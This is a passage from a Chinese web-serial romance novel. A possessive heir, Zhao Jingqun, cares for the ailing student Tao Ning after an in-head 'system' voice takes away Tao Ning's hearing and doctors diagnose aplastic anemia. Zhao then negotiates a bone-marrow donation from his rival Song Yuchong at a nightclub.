牵起他的手,“既然柠柠饿了,那我们不在这儿浪费时间了, 走, 回家吃饭。” 这一幕太过刺眼, 两人相处时自然而然流露出的温情, 仿佛在无人知晓的地方重复上演过无数遍。垂在两侧的手不由自主再次攥紧,心脏突兀的疼痛, 徐隽站在原地,少有没控制住表情,神魂落魄看陶柠跟赵静群走远。 ——这几天对你冷淡是我在欲擒故纵, 我以为如果自己跟那些人不一样,你是否能多看我一眼?多关注我一点? ——其实我很想和你说话,想每时每刻跟你亲近。 “别走。” 无声无息的话被晚风吹散,终究没有让坐入车中的少年听到,似有所感,陶柠悄悄回头, 却只能看见逐渐模糊的学校大门。 他坐在副驾驶上,男人正叼着烟开车,没有点火,默不作声把控方向盘。陶柠敏锐发现,进入车里后赵静群笑意就没了,锋利如刀刻的眉眼压得很低,而且还掏出一根烟叼嘴上。 他分明说过不会抽的,虽然确实没有点火,但这样的做法是因为他生气了吗? 陶柠迟疑问:“赵静群你生气了吗?对不起。” 方向盘打了个弯,赵静群眉梢带了点笑,单手丢掉烟,“没有,呆宝你不要多想,我永远不会生你的气。”顿了顿,赵静群按了个喇叭继续道:“我只会怪自己那段时间没有陪在你身边。” 所以才让其他狗男人有趁虚而入的机会,但是没关系,他会及时制止,而且对陶柠监视的力度比以往更强。但这些在心里想想就好,赵静群不会明说。 “可是那时候是我提的” “乖。” 车内的气压骤降,赵静群平视前方,看似面色无波,眼底却酝酿风暴,但也是刹那间的事,片刻就恢复淡淡的笑意了,“不要提那两个字,我会伤心。” 陶柠愣愣地点头,赵静群透过余光,陶柠坐在位置上,虽然背后有柔软的靠椅,姿势依旧端正乖巧,两根呆毛还竖了起来,样子可爱得要命。 即使赵静群知道少年其实一点儿也不乖,甚至固执到心狠的地步。但仍旧被这副漂亮安静的模样可爱到了,趁红灯时间,粗糙的手掌倏然掐住少年的下巴上的软肉,重重亲了一口。 陶柠愣愣的,没反应过来。 赵静群把车开到了离奥克森特不远的一座高级公寓,他买下了一个平层,面积三百平米以上,具体多少赵静群忘记了,因为是让孙老二买的,他的要求就三个,离学校近,宽敞,安静,购置公寓的钱上不封顶。 但这一周前他已经来过,为了挑选里面的家具。 玄关处只有拖鞋,赵静群给陶柠单独留了一间房放置衣服鞋子,他自己的衣物只占据了十分之一的地方,他对这些不感兴趣,平时只要没有重要场合参加,随意套个T恤便出门了。 当然,其中更重要的原因,是因为穿的简单显年轻点。 “宝宝,我去给你放热水,等会给你洗完澡我就去做饭。” “我自己可以洗。” “不行,摔倒了怎么办,你还提了那两样东西一路,肯定肩膀疼手疼,我到浴室给你按摩放松肌肉。” 陶柠有时候实在搞不懂赵静群喜欢帮他洗澡、穿衣、喂饭等等的想法,他又不是碰一下就会碎的瓷娃娃,还是个男生,怎么可以那么娇气? 结果到了浴室,赵静群帮他脱衣服,浴缸前有一面占据整面墙的镜子,直到看见肩膀上明显被带子勒出来的淤青,陶柠沉默了。 他的病是不是加重了?陶柠记得以前自己不会如此脆弱。 赵静群和他有同样的想法,心疼到吻了又吻青紫的淤青,声音干涸,“呆宝乖,不疼不疼,明天老公帮你请假,带你去医院复查。” 想到考试已经结束,陶柠答应了。 奥克森特考试迅速,出成绩的速度也很快,明天下午就能知道全校的排名。陶柠只有考试前紧张,考试中途和考完后都很有自信名列前茅,这是十多年来天赋与刻苦给予他的底气。 看见淤青,赵静群什么乱七八糟的想法都没了,只有心疼,恨不得替陶柠患病受苦,他的呆宝只用享福就好了。 温柔细致给陶柠洗完澡后,赵静群把他抱起来,丝毫不在意浑身被淋湿,用厚实的浴巾将怀中全神泛着粉红的少年裹好,又给他穿上睡衣,温声细语哄着:“乖宝,抬下手。” 浴室外的过渡房间没有开空调,赵静群把陶柠放在铺了几层毛毯的沙发上,柔软的白色绒毛随圆润的臀部凹陷,陶柠坐在沙发上,表情呆呆的,浓密纤长的睫毛似鸦羽,光线下如棕色宝石的眼眸眨了眨。 在赵静群转身进浴室前,纤细伶仃的手拉住了他的衣袖,男人顺势低头,刚想嘘寒问暖,一个柔软的吻落在了他唇上,清甜的柠檬香包围他。 陶柠浅笑,“谢谢。” 手指抚上嘴唇,赵静群还沉浸在少年的吻和笑容中回不过神,只有心脏如初见时般疯狂为之跳动。 余温散去后,这样的清纯的吻其实对于赵静群来说无异于被核弹暴击,憋着一身欲.火匆匆冲洗了几下,半挂着浴巾出来,结果沙发上挑火的人不见了。他瞬间化作嗅闻伴侣的雄狼,焦躁不安开始又找又喊。 找的过程欲.火转为怒火,孙老二闲的买那么大的房子当饭吃啊?!他又不是拿来藏火箭的,藏娇还差不多,随时随地把老婆捞到身边还得费半天劲。 推开卧室门,陶柠不知道做什么事情,安安静静坐在书桌前面,只能看到一个可爱的发旋,看背影很认真的样子,听到门口的动静也没有回应。赵静群委屈喊他:“呆宝干嘛呢?”他凑上去。 直到阴影笼罩过来,陶柠才发觉背后有人,慌乱地把粘到一半的情书塞进练习册里。 他不是听见身后的声音,而是因为听不见了,所以才没有反应过来。 就在刚才,脑海中那道机械音半讥讽半愉悦道:“你做徐隽的任务失败了,他并没有感觉到你的真心。”随即机械音沉吟了一会儿,像是对待宠物猫狗似的逗弄,“陶柠——你说我该怎么惩罚你?” 自从这个不同的声音出现后,陶柠就再也没有听过原来的系统叫他“呆瓜”了。对于这个机械音,他只有忽如其来从内心深处延伸出的厌恶,这是件很不同寻常的情绪,因为陶柠无论对待什么,人也好动物也好,即使是一块石头,最开始的情绪都是相同的。 可以说在他眼里,陌生人和一块石头没有区别。 只是第一次听到这个机械音,尤其在这个机械音开始拥有情绪后,陶柠竟然开始便产生了厌恶,甚至不在乎他的惩罚,“原来的系统怎么样了?” 似乎是陶柠无视他的“惩罚”出乎意料,机械音明显错愕地笑了下,随即低低的笑了起来,愉悦道:“你真是一如既往可爱,它啊,一个只会按指令执行程序的智能机器,你很在乎么?” 什么叫一如既往?陶柠没有问,只是说:“在乎,他是我的朋友你不是。” “朋友?”机械音顿了顿,随即脑海中传来一阵放肆的笑声,“哈哈哈哈。” 但也一瞬间,笑声便没了,机械音缓缓道:“我知道你怕黑,小可怜,这次就剥夺你的听力作为惩罚吧。” “你究竟是谁?我又是谁?” 最后脑海里回荡的话,只有意味不明的笑:“等你完成任务那天,我会满足你所有的好奇心。” 随后陶柠的大脑里,耳边,全部陷入一片死寂,那是与被剥夺视力陷入黑暗同样难熬的事情,因为同一时间,周遭所有事物仿佛都被按下静音键,一丝一毫的声音都听不见了。 但陶柠依旧更恐惧陷入黑暗,他很快镇定下来,还能有条不紊开始粘撕碎的情书。 无论徐隽如何看待他,陶柠都非常珍惜他的真心与爱意。 但不巧的是,情书刚粘到一半,赵静群便进来了,陶柠慌乱收好情书,完全没想到男人洗澡的速度怎么又变快了。 “怎、怎么了?” “呆宝,把什么东西收起来了?嗯?” 陶柠悄悄观察赵静群的嘴唇,希望能看得懂他说的话。 因为他不想赵静群担心,他知道赵静群很忙,现在抽出时间来陪他,背地里肯定瞒着他把工作的时间极限压缩了。陶柠想,被剥夺听力与剥夺视力的惩罚应当都是暂时的,在恢复听力前,他都不想让本就疲惫的赵静群为他的事更操心了。 但终究是一时半会读不懂唇语,陶柠只好连蒙带猜,迟疑道:“我我刚才在刷题。” 赵静群嘴角的笑意僵硬了一瞬,只是他看陶柠镇定的模样,也没有做出过多的反应,继续笑着问:“刚才的东西是不是徐隽给的?” “我等会就吃饭,是菜做好了吗?” 下一瞬,柔软的脸颊被粗糙的手掌捧起,陶柠抬起头,撞入一双沉落谷底的双眸,但他只能看着赵静群满脸焦急,似乎在轻吼,嘴唇一张一合,却不知道说了什么。 面对赵静群焦急凶恶到仿佛要吃人的目光,陶柠并不害怕,反而纤细的手抱住他的腰,静静说:“我没事,不用担心。” 第72章 第 72 章 宝宝真勇敢 十几分钟后, 急促的警笛声响彻整个小区,救护车连带着两三辆宾利停在高档公寓下,孙老二面色忐忑, 带着一众医生、保镖、司机等人进入直达平层的私人电梯。 电梯门一开,赵静群那张阴森至极的脸倏然出现在所有人眼前, 孙老二心头瞬间犯怵,他从未见过男人如此恐怖的表情, 即使当时在缅甸他们受到死亡威胁,赵静群依旧笑盈盈的。 只是此时此刻,眼前的男人犹如从地狱走出来的恶鬼, 浑身散发暴雨将至的危险气息,不禁想叫人避退三舍。 “赵少”想起那些在男人手段下面目全非的人,孙老二怕到声音发抖。 直到男人怀里的人轻轻嘟囔了一句, 赵静群的脸色才缓和了一些, 旁若无人哄着怀里的人:“乖宝没事了, 我们现在就去医院看医生。” 那张眉眼满是低气压的脸瞬间抚平, 只因为担心怀里的人害怕。 孙老二这才注意到,赵静群怀里一直抱着人, 用柔软的薄被遮盖得严严实实,只露出半截细瘦伶仃的脚踝骨,因为刚才赵静群的脸色实在太恐怖了, 孙老二的视线根本不敢乱瞟,他知道被遮挡得严严实实的人是陶柠。 救护车上,护士一边给陶柠做简单的检查,一边心里纳闷,他们是全市最好的私人医院,平常富贵人家他们见多了, 只是这次急救竟然惊动了院长,要求他们立刻出发去某小区接病人。 护士听说过这个小区,专门给有钱人修的,安全隐蔽,房价最高达到过每平方三十多万的地步,令人咂舌,普通人可能连进都进不去。 但即便如此,也不足以惊动他们医院的院长,除非这家人有不同寻常的身世背景。 本以为会看到电影里凶杀类的场景,结果护士没想到,居然是给一个看起来很正常的少年做检查,虽然这个少年漂亮得仿佛洋娃娃,但护士给他做了检查,只得出来血小板过低的结果,其他检查结果只能到了医院才看得出来。 赵静群冷冷道:“他耳朵听不见了,查不出来么?” 这句话一落地,救护车内的气压瞬间降低,仿佛镰刀悬在众人头顶,在场所有人的心脏都提了起来,年轻的护士没见过气场如此强的人,快要被吓哭了。孙老二冒着致命的危险小声道:“赵赵少,这是国内。”然后求救似地看向陶柠。 陶柠听不到他们说话,但是能看见赵静群难看至极的脸色,还有周遭吓成鹌鹑似的众人,接收到孙老二挤眉弄眼的目光,他犹豫道:“我挺好的,就是有些饿。” 孙老二内心快要给陶柠跪下,因为陶柠说完后,赵静群的脸色果然好了点,气压上升,悬在众人头顶的刀也消失了,不用赵静群多说,孙老二连忙道:“我马上让营养师赶到医院来,保证让嫂咳咳,小少爷吃饱喝足。” 到了医院,陶柠就被带去做各种检查了,抽血的时候赵静群拧着眉坐在旁边,脸上的心疼根本遮掩不住,粗糙的手捂住陶柠的眼睛。 一系列检查下来后,已经是半夜了。 陶柠靠在VIP病房里的床上,他从小到大已经不知道多少次进医院了,苍白漂亮的脸表情淡淡的,但赵静群从头至尾脸色都很难看,沉默不语给他喂粥、喂菜,动作小心温柔。 不知从什么时候开始,陶柠不愿再看见赵静群的担忧,“赵静群我想看你笑。” 舀粥的手顿住,赵静群把粥放下,勉强笑了笑,即使没有人知道,他因为陶柠忽如其来的耳疾,焦虑急切到快要疯了。在卧室发现陶柠耳朵听不见后,打电话给医院时的声音都在发颤。 那一瞬间的恐慌仿若把赵静群带入了地狱,他无法想象陶柠重病的模样,只是连想一下都不敢。 病房门被人叩响,赵静群拿出准备好的笔和本子,写下[乖宝,我去外面一下,马上回来,宝宝把饭吃完后按床后的铃,会有人进来收拾,在床上不要动],把写了字的本子交给陶柠看。 陶柠第一次见他写字,有点新奇,发现赵静群的字跟他本人的霸道痞气丝毫沾不上边有点歪歪扭扭丑兮兮的,有些字还要思考几秒才能认出来。 但总归是看懂了,陶柠点点头。 赵静群在转身时笑意全无,以至于门外的医生再次被他的阴沉震慑到了,“赵赵公子。”医生在院长嘴里得知了赵静群的身份,与那些普通的有钱人不一样,手上真的沾过血,任谁跟这样与亡命徒相似的人交流,压力都会很大。 没想到眼前的男人意外的好脾气,“是王主任吧,辛苦了,我们去诊室说。”王主任忙不迭点头。 “从耳内镜和听力测试的检查结果看,患者的鼓膜并无损伤,也排除了内耳血管痉挛或微小血栓的原因,这的确是一件匪夷所思之事,只是不排除其他病灶导致突发性耳聋,第一人民医院有个非常出名的耳鼻喉科专家,建议赵公子您把专家请过来。” 王主任也是这座私人医院有名的专家,不提前大半个月预约根本挂不到号,但也是执业生涯里来头次碰见找不到任何原因的突发性耳聋。王主任有些纳闷,姑且归根于他还有待进修了。 赵静群连忙应声记下,而后王主任正色道:“患者的血红蛋白和血小板数量骤降,需要立刻进行骨髓活检检测病情变化,俗称骨穿,如果检查结果比较严重,出现重型再生障碍性贫血的倾向,后续还要进行ATG治疗或者骨髓移植。” 王主任看着面前沉默的男人,片刻,男人声音干涸问:“ATG是” “一种治疗再障的生物制剂,能够提高患者的造血功能恢复率和生存率,ATG连续注射五天后再观察患者身体情况。但是赵公子,我说句实话,如果患者真的是重型再障,我建议骨髓移植,因为这是目前国内治疗重型再障唯一有概率根治的办法。” 因为这些话,赵静群仿佛变成了没有生气的纸人,脸色一寸比一寸白,过了半晌,才点了下头,“找到配型的骨髓了吗?” 王主任拿出几分资料,迟疑道:“与患者骨髓匹配的供髓者只有四个,而且其中三个是半相合,仅有的全相合供髓者前不久去世了。全相合与半相合跟患者的骨髓匹配度和排斥风险有关,您知道骨髓移植手术最危险的不是手术过程,而是后面的感染和排斥反应,半相和配型有非常大的排斥反应风险,只有全相合才能最大程度减少该排斥反应。” 会诊室的气氛瞬间凝固,赵静群面色阴沉,他闭上眼睛,才极力压下强忍的愤怒与绝望,直到王主任颤颤巍巍道:“但但还有一个供髓者与患者的骨髓是全相合,前不久做的骨髓配型,就是身份有些特殊。” 何止是特殊,还是他们私人医院的最大股东。院长两边都不想得罪,就把这份烫手山芋甩给王主任了,但王主任本着医者仁心,终究把这件事说了部分。 “谁?”绝望的心瞬间被几句话点燃,赵静群倏然睁开眼,见王主任略带犹豫,连忙道:“无论他是什么身份,我都会让他心甘情愿把骨髓捐出来,更会抹去您在这件事里的痕迹,所以您尽管说。” 王主任叹了口气:“是宋氏集团的二公子。” 从诊室出来后,孙老二亲眼看见,向来桀骜不驯的男人被抽走了魂似的,背脊瞬间佝偻,他手上拿着薄薄的几张同意书等各种检查单,那双玩起刀和枪来游刃有余的手,竟然在颤抖,猩红的眼睛里闪过迷惘。 那一瞬间,男人不再是边境令人闻风丧胆的赵家少爷,而是为心爱之人重病感到恐惧的普通年轻人。 这画面冲击力太大,孙老二心中惊骇,也终于意识到,陶柠对于赵静群来说究竟有多重要。 “去联系宋郁丛。”半晌,赵静群把几张检查单叠好放进口袋,面色无波。 * 因为陶柠的耳朵检查不出问题,但也确实听不见,所以到了第二天,赵静群一直在跟他用本子交流,陶柠看着医生护士鱼贯而入,不由得紧张起来。 赵静群握着他的手,安抚他:[乖,做完这几个检查我们就出院,如果疼就用力咬我。] 陶柠怔怔的:“什么检查?” 赵静群沉默片刻,用力写下几个字,指节青白:[骨髓活检,一点疼,乖宝,我们不怕。] 可是这个检查光听名字就很疼,但是手掌传来赵静群的温度,陶柠不怕了,他点了点头。 陶柠根据医生的指示脱掉衣物,露出削瘦的身躯,好似一阵风就能吹倒,而原本白皙如牛奶的肤色此刻泛着不正常的白,苍白如纸。陶柠身体侧躺下,麻醉师给他腰侧进行局部麻醉,随后是医生刺穿腰侧取骨髓的过程。 长而尖锐的针头令看在眼里的赵静群脸色瞬间泛白,他紧紧握住少年纤细的手,额头抵住手背,又旁若无人地亲吻、安慰。“不怕啊乖我们不怕” 陶柠根本看不见医生在做什么,只知道有东西钻入他的腰侧正在搅动,而且已经局部麻醉,感觉不到痛,他本来就不怕,看不到感受不到就更不怕了,只是赵静群的模样比他更加恐惧,即使听不见也知道赵静群在安慰自己。 “我没事,不怕。” “好,我们不怕。”赵静群看着他,扯出一个很勉强的笑。 但是赵静群知道,他怕的远不止这次骨髓活检,还有后面更多令陶柠疼痛的检查尤其是骨髓移植手术,虽然医生说宋郁丛的骨髓与陶柠的骨髓全相合,但依旧会有排异和感染的风险,如果真的有那天,赵静群知道自己根本承受不住后果。 骨髓活检后,陶柠趴在病床上没有动弹,赵静群吻他,写下:[宝宝真勇敢,等出院了呆宝想要什么老公就给你买什么,现在老公有点事出去一趟,我保证回来吃晚饭。乖,有事第一时间叫孙震,他在外面随时待命。] 孙老二是诨号,大名孙震。 赵静群扫了他一眼,孙老二连连点头,即使知道陶柠听不见,依旧道:“嫂子放心,赵哥出去这段时间有我在,您有事就尽管跟我说,哪怕是想要天上的月亮星星,我也想法给您摘下来。” 可惜陶柠听不见,他只是愣愣地眨了下眼睛。“噢。” 但赵静群仍旧不放心把陶柠一个人放到医院,又派人把最先进的监控系统运了过来,把这间VIP病房三百六十度无死角安上监控,最后派了两倍的保镖守在外面。 孙老二知道赵静群并非兴师动众,他家太子爷还没有彻底铲除觊觎赵家掌权人位置的旁系,随时面临绑架暗杀等要命的危险。 赵静群坐的车除了那辆刚到海州随便买的齐柏林,其他车虽然看起来平平无奇,但每一辆都安了防弹玻璃和反跟踪定位装置,还有数不清的便衣保镖跟在他身后。 赵静群担心有人趁他不在打起了陶柠的主意,光是有这个念头,赵静群宰人的心都有了。 一切都安置好,赵静群才离开医院,前往事先安排和宋郁丛交谈的地点,孙老二回来时怒气冲冲说:“赵哥,那宋二少脾气大不讲理,跟他说了事情的重要性,还非要把地点定在蓝金那种鱼龙混杂的地方,就是个仰仗家中权势的纨绔草包” 赵静群冷嗤:“未必,那天他认出我后就把我的行踪告诉赵义了,不过被我半路拦截,如果真是个脑子空空的草包,不会在海州知道我和赵义的事。” 赵义是除赵静群之外唯二在赵家簇拥者最多的人,如果赵静群当年没有被赵家找回来,他最有可能继承赵家掌权人的位置,但后来赵静群这个正统的嫡系太子回来了,也就没他个旁系什么事了,所以赵义心里有恨,暗地里一直在想办法弄死赵静群,之前赵静群迫不得已去缅甸也是他从中作梗,为的就是希望赵静群尸骨无存死在边境。 结果偷鸡不成蚀把米,赵静群不仅完好无损回来了,而事情办得出色在赵家的声望更高。 如今赵家掌权人进了医院,眼见活不了多久,旁系个个蠢蠢欲动,但绝大部分被赵静群铁血不近人情的手段震慑住,唯独赵义不死心,至今仍在暗地里想办法彻底扳倒他。 而想要彻底扳倒一个人的办法,便是送对方见去祖宗。 只是除了少部分人知道这些内幕,在外人眼里看赵家依旧是其乐融融,掌权人倒下了,自然是赵静群这个嫡系太子爷说话,所以宋荣国才不敢怠慢他,但海州能接触到的消息非常有限,如果宋郁丛真是像别人嘴里说的草包,怎么会知道赵静群和赵义的事? 赵静群眼底淬着阴冷,上次他派出去调查宋郁丛和陶柠的事至今没有进展,必定是让宋郁丛察觉到了,但无论是宋郁丛单纯的不喜有人调查他,亦或是他和陶柠之间有无法告人的关系不想让人知道—— 布满老茧的指腹碾碎烟丝,赵静群冷酷想,他也要连根带梢全部拔起。 而此刻,车辆已经到达蓝金会所门口。 第73章 第 73 章 (修罗场5)别给脸不要…… 按照孙老二的说法, 宋郁丛在蓝金定了个包厢,只是并没有说包厢号,因此赵静群提着公文包进去后, 足足等了半个多小时的时间,才有经理过来。 “是赵先生吧?二少让我来带您过去。” 赵静群面带微笑, 即使站在原地半个小时,深刻的面容依旧挂着随性的笑意, 乍一看,会让人觉得这是个身量很高、脾气很好的年轻人,但如果孙老二在, 恐怕当即吓得牙龈发颤。 因为那天赵静群把未熄灭的烟头摁进叛徒眼球里时,脸上的笑容与现在一模一样。 “哦,好啊。”赵静群笑盈盈跟着经理到了包厢门口, 外面守着两个保镖, 他们见到赵静群, 二话不说开始对其搜身。 任由他们把随身携带的军式Para2折刀搜走, 赵静群依旧笑而不语,只有额头隐约浮现的青筋能窥见这副笑脸下暴虐的怒火和隐忍, 片刻,除了几份文件,没有再搜出其他危险物品后, 保镖推开了包厢门。 昏暗的光线和女人铃铛似的笑声顷刻传来,好几个穿着暴露的女人和男人簇拥在沙发周围,但他们仅仅是跪着或坐在四周,将主座团团围住,不敢僭越半步,因为主座上五官俊美的男人此刻满脸冰冷。 听到门口的动静, 宋郁丛一口饮下葡萄酒,冷漠轻蔑的目光似钉子般钉在进来的男人身上。 来人毫不客气坐下,翘起二郎腿,笑道:“二少别来无恙啊?自从上次的误会过后,还没跟二少好好叙旧道歉呢。但是今日看,二少鼻青脸肿的伤已经完好无损了,惭愧惭愧,下下次,我必定登门道歉。” “哦对了,说起来我叫宋董一声叔伯,按辈分年龄二少还得叫我一声赵哥呢。” 这臭不要脸的东西竟然敢提起上次的事?还敢让自己叫他哥?!宋郁丛瞬间脸色黑如锅底,眼底的怒火犹如实质迸射出来,不由“唰”地站起身,指着赵静群的笑脸骂道:“这他妈是你求人做事的态度?!赵静群,你别给脸不要脸。” 赵静群脸上的笑也逐渐没了,看向宋郁丛的目光仅有审视还有点微妙的嫉恨,冷冷道:“我说是求你办事了么?我让人传达的消息是等价交换,宋郁丛,是你别给脸不要脸。” 宋郁丛火了,恶毒与阴狠的视线好似要把赵静群碎尸万段,后者依旧稳如泰山,甚至好整以暇地点了根烟。 片刻,赵静群吐出冷冽的烟雾,嗤笑:“懒得跟你浪费口舌,我知道你在宋家的处境,更知道你想压你哥的风头未来继承家族企业,我直接敞开天窗说亮话吧,你不会不知道我的身份,而我赵静群可以动用目前所有的资源助你上位,只要你给我想要的东西。” 宋郁丛眯起眼,“你的资源价值在外地,现在也不是赵家的掌权人,我凭什么相信你?” “啪”的一声,赵静群将几份文件拍到桌上,玻璃桌随之震动,他冷冷一笑道:“这是四份X集团产业项目入驻海州的申请书,包括我名下几处和宋氏有关的项目,未来几年我都会在沿海一带发展,如果我们合作,这对你是百利无一害的事情,至于我是不是赵氏的掌权人不重要。最重要的东西,这里还有两份宋氏集团大股东的股份转让协议,不信你可以自己看,有了这两个人的股份,你宋二少还愁在集团内没有一席之地么?只是这份协议的受让人如今签的是我的名字。” 见宋郁丛眼底闪过犹豫,赵静群知道他上钩了,果不其然,宋郁丛翻看文件后,难看至极的脸色有几分错愕,“你竟然有那两只老狐狸的股份” 宋氏集团原来姓吴,庞大的商业帝国遍布海州,宋郁丛的外祖死后只给了他一大笔价值连城的财产却没有给集团股份,而是给了他母亲吴玥。宋郁丛已经无法猜测外祖当时的想法,应当是想让他余生简单快乐。 但生活在满是权利斗争的家族,想要简单快乐简直痴人说梦,后来吴玥把手上的股份毫不犹疑全部转让给宋荣国,导致他对吴氏的商业帝国控股百分之五十一,成功改吴为宋,而剩下的股份则被曾经吴氏元老级别的人物瓜分了。 宋珩身上仅有百分之三的股份,而这两份协议转让书的股份加起来竟然有百分之五,转让人赫然是之前的吴氏元老们,这些人个个狐狸成精,要想从他们身上把这块肥肉扣下来,背后肯定付出了血的代价,加上其他各项对宋郁丛有利的项目书,这份诚意,可谓巨大。 “所谓有钱能使鬼推磨,”赵静群笑得讽刺,“如果不能,那就是钱还没给够,怎么样宋二少?我这些东西,够你相信了吧。” 宋郁丛放下协议,阴沉道:“你想要什么?” 赵静群再次拿出一份文件,这份文件被他藏在公文包最里层,拿出时冷漠的眉眼瞬间变得温柔而沉重,也不似刚才随意粗鲁的动作,而是小心翼翼拆开文件保护套,放到桌上。 “我有个亲戚生病了,需要进行骨髓移植手术,你供过髓,刚好能和他配型,因此我需要你给他提供骨髓,而我帮你在宋家扎根。” ‘骨髓’‘移植’等字眼,宋郁丛瞬间想到了陶柠,上次检测的结果他其实早就拿到了,只是一直没有找到合适的机会跟陶柠说。 心跳徒然增快,宋郁丛连忙拿起文件,看到患者名字一栏时,目光微颤,因为患者的名字真的是“陶柠”! 显然赵静群根本不想隐瞒此事,甚至暗中观察宋郁丛拿到文件时的表情,见宋郁丛不加掩饰的慌张与担忧,内心阴暗的嫉妒与怀疑顷刻间冒了出来。得知陶柠患上再障后,赵静群当即便去检测自己的骨髓,但很可惜,无法与陶柠配型。 王主任告诉他,唯有宋郁丛可以,凭什么? 赵静群觉得可笑,宋郁丛问凭什么相信他,他还想问,凭什么你宋郁丛的骨髓能和陶柠配上,而他不行。 只要想到未来宋郁丛的骨髓会进入陶柠的血管,自此两者纠缠不清,赵静群便嫉妒到想拿被搜走的Para2折刀割断宋郁丛的脖子。 他徒手掐灭烟头,露出一个晦暗不明的笑:“想好了么?宋二少爷。” 第74章 第 74 章 我都爱,都喜欢…… 那天佣人急匆匆把一份文件袋交给宋郁丛, “少爷,医院送来了一份文件。”佣人没有资格查看文件袋里的东西。 当时宋郁丛正皱眉翻看手底下人送来的有关赵静群的资料,听到医院送东西过来了, 就把印有赵静群照片的文件随手扔进垃圾桶,他知道是上次自己和陶柠骨髓配型的结果出来了。 拆开文件袋, 检查报告上显示他和陶柠是全相合,可以进行骨髓移植手术。 宋郁丛怔了很久, 一种复杂而欣喜的情愫流淌至心尖,看来乡巴佬需要他,这是件足以令他骨子里雄性保护欲得到满足的事只是不知道他常年抽血的身体情况可不可以供髓。 总之, 宋郁丛迫不及待想看见陶柠知道这件事后依赖他的模样。 而眼前这个愚蠢至极自以为是的傻逼只能被他当猴耍,宋郁丛丝毫不遮掩他的鄙夷和嘲讽,但也勉强露出一点扭曲的笑, “我想好了——” 他站起身, 黯淡的光线下面容俊美而阴寒, “合作愉快。” 赵静群弹掉衣袖上的烟灰, 跟着起身,“二少是爽快人, 那我就告辞了,祝宋二少未来得偿所愿,心想事成。” “等等。”宋郁丛给两旁穿着暴露的男女使了个眼色, 这些在蓝金伺候过无数高官显贵的舞女郎和Money Boy瞬间心领神会,“赵先生给我那么大一份诚意,我不好生招待说不过去,这些人都是蓝金新招的,保证干净。” 才不是,这些人早被睡了千八百遍了, 宋郁丛就是故意恶心赵静群的,他有恃无恐,也在看赵静群到底是对男的还是对女的感兴趣。 舞女郎和Money Boy笑容或甜美或性感朝赵静群围过去,其中一个穿兔女郎的男生扭着屁股把其他人挤开,他早就觊觎男人结实有力的身体了,而且男人总在笑,脾气想必也是好的。 那只娇滴滴的手将要往赵静群的胸膛上碰去,“先生,让我来伺候您吧” “滚开。” 昏暗灯光下,赵静群淡淡说了两个字,神情阴鸷,居高临下看来的眼神令男生脸色生变,因为那不是看一个活生生人的眼神,反倒是像看无关紧要的垃圾或死人。 一股寒意自脚底窜入头顶,男生发自内心感到恐惧,连忙收回手,边道歉边往后退,其他原本想凑过去的人也被吓得僵硬在原地。 那样的眼神实在太恐怖了。 宋郁丛脸色渐黑,“姓赵的你是故意不给我面子么?” 男人转身走到门口,闻言,身形霎时间顿住,像是想起什么般回过头,刚才阴鸷的神情全无,甚至有几分愉悦和得意洋洋,“不好意思,赵某洁身自好,我老婆等我回去吃晚饭呢。” 赵静群上下打量了一眼恼羞成怒的宋郁丛,呵呵一笑:“那些人二少留着自己玩吧,合作愉快。” 到了门外,包厢里倏然传来酒瓶摔地的声音,赵静群没理,挑眉看向保镖,“把刀给我。” 保镖冷哼一声,不情不愿掏出军刀。 赵静群的手不紧不慢伸出来,轻飘飘动了一下,“咔嚓”一声!保镖拿刀的手瞬间断掉,尖叫道:“啊——”另一个保镖见状冲过来帮忙,冰冷的视线扫过来,他心底发怵,当即不敢动了。 * 回到医院,赵静群先是过问陶柠的情况,得知他的耳朵能听见了,悬着的一颗心才落下,但知道陶柠现在在输血后心脏又瞬间揪了起来,对于陶柠的病情,赵静群的心每时每刻都像在坐过山车一样。 大步流星赶往VIP病房,穿过层层保镖到了门口,脚步顿住,拿出手机整理了一下发型和衣物,然后问:“我现在看起来怎么样?” 保镖们抢着回答,“老板您现在看起来英明神武、玉树临风、风流倜傥、气宇轩昂全世界的男人加起来也不及老板您的一根汗毛。” 赵静群满意了,“等会儿都去领奖金。” 把感激涕零的声音甩到身后,赵静群推门进去,然而很可惜,他心心念念恨不得坐火箭回来亲几口的少年已经睡着了。 少年几乎是缩在被窝里,巴掌大的脸上双眸紧闭,纤长如蝶翼的眼睫投下淡淡的阴影。 因为疼痛,浓墨如画的眉毛微皱,以往殷红的朱唇染上病态的苍白,伶仃细瘦的手腕上扎着滞留针,静脉输液管上挂着红色血袋,仿佛一朵经历风雨后即将枯萎的玫瑰,娇艳而糜烂的昳丽。 这画面让心脏一抽一抽的疼,赵静群忽然感到前所未有的恐惧。 因为他的爱人分明近在咫尺,此刻却仿佛变成了一阵风,随时会在这个世界上消失,就像他不属于这里,总有一天他会前往真正属于他的地方。 赵静群猛地回神,湮灭这种荒唐而恐惧的想法,毕竟,陶柠除了属于他,一辈子待在他身边,还会去哪儿呢?情不自禁捂住少年泛着青紫的手背,他吻了又吻,粗糙的指腹抚平少年紧皱的眉眼。 滚烫的双唇啄上来那一刻,陶柠就醒了,麻醉剂效过后,骨穿的腰侧很疼,还有针扎的手背也疼,浑身开始不自然地发热,脸色苍白如纸。 但他是个性格很能忍耐的人,医生给他复检时,一点儿痛呼都没有发出来,直到此时睁开眼,看见男人担忧的眼睛,陶柠轻轻说:“赵静群我好疼,你回来晚了。” 这委屈的两三句话,差点让赵静群心脏当场碎掉,吻了又吻陶柠纤细的手腕,声音发颤:“宝宝对不起,是我错了,下次老公再也不这么晚回来了好不好?我们忍一忍,再过几天就可以出院了,宝宝乖。” 他甚至担忧到有点语无伦次,按铃吩咐人把食物带进来,陶柠现在只能吃流食,赵静群一口一口喂给他,每一口都要试下温度,确保不烫了才敢给陶柠吃。 陶柠有气无力张开嘴,因为没有食欲,慢吞吞吃了几口就别过脸,小脸上明显郁闷:“过几天是几天?”他总觉得赵静群有事瞒着他,这次看病的阵仗也很大,他觉得远不止待几天那么简单。 希望可以马上出院返校,因为还有繁忙的学业在等着他。 明知自己把他当心肝疼着还不好好吃饭,赵静群快急死了,虽然很满意陶柠被他宠出来的小脾气,但现在不是闹小脾气的时候啊!不吃饭身体遭不住。 赵静群故意不回答,敲了敲三分之一还没吃掉的粥碗,严肃道:“乖,吃完就告诉你。” 不料被他宠得无法无天的少年看了他一眼,小脑袋扭到旁边,默不作声了。 赵静群拿陶柠一点办法都没有,陶柠既然把头扭到旁边那赵静群干脆换了个位置,吹了吹滚烫的热粥,半哄半强硬道:“来宝宝,喝一口,啊——张嘴。” 